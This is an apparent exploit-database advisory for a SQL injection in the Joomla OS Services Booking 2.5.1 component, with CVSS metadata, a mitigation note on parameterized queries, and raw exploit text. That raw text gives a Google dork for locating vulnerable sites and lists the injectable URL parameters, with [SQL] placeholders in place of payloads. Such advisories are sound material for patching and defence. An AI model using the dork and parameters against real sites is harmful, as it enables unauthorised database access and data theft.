Joomla! Component OS Services Booking v2.5.1 - SQL Injection

vendor:

OS Services Booking

by:

Ihsan Sencan

8,8

CVSS

HIGH

SQL Injection

CWE

Product Name: OS Services Booking

Affected Version From: 2.5.1

Affected Version To: 2.5.1

Patch Exists: NO

Related CWE: N/A

CPE: a:joomdonation:os_services_booking:2.5.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Win7 x64, Kali Linux x64

2017

Joomla! Component OS Services Booking v2.5.1 – SQL Injection

A SQL injection vulnerability exists in Joomla! Component OS Services Booking v2.5.1. An attacker can send a specially crafted HTTP request to the vulnerable application in order to execute arbitrary SQL commands in the back-end database. This can potentially result in the manipulation or disclosure of application data.

Mitigation:

Developers should always use parameterized queries to prevent SQL injection attacks. Additionally, input validation should be performed to ensure that user-supplied data does not contain malicious SQL code.

Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: Joomla! Component OS Services Booking v2.5.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_osservicesbooking
# Date: 18.02.2017
# Vendor Homepage: https://www.joomdonation.com/
# Software Buy: https://www.joomdonation.com/joomla-extensions/joomla-services-appointment-booking.html
# Demo: http://osb.ext4joomla.com/
# Version: 2.5.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_osservicesbooking&task=default_showmap&vid=[SQL]
# http://localhost/[PATH]/index.php?option=com_osservicesbooking&view=default&category_id=[SQL]
# http://localhost/[PATH]/index.php?option=com_osservicesbooking&view=default&category_id=15&employee_id=[SQL]
# http://localhost/[PATH]/index.php?option=com_osservicesbooking&view=default&category_id=15&employee_id=&vid=[SQL]
# Etc..
# # # # #